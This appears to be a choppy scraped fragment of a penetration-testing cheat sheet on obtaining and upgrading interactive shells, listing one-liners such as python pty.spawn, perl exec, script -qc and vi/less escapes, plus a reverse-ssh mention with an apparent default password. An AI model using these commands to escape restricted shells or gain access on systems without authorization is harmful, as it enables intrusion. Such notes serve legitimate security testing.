SHELL
variable must be listed inside /etc/shells or The value for the SHELL variable was not found the /etc/shells file This incident has been reported
. Also note that the next snippets only work in bash. If you're in a zsh, change to a bash before obtaining the shell by running bash
.python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
script -qc /bin/bash /dev/null
perl -e 'exec "/bin/sh";'
exec "/bin/sh";
exec "/bin/sh"
os.execute('/bin/sh')
exec "/bin/sh"
:!bash
:set shell=/bin/bash:shell
!sh
letmeinbrudipls
in the context of the user running reverse-ssh(.exe)
:sudo
to read a file: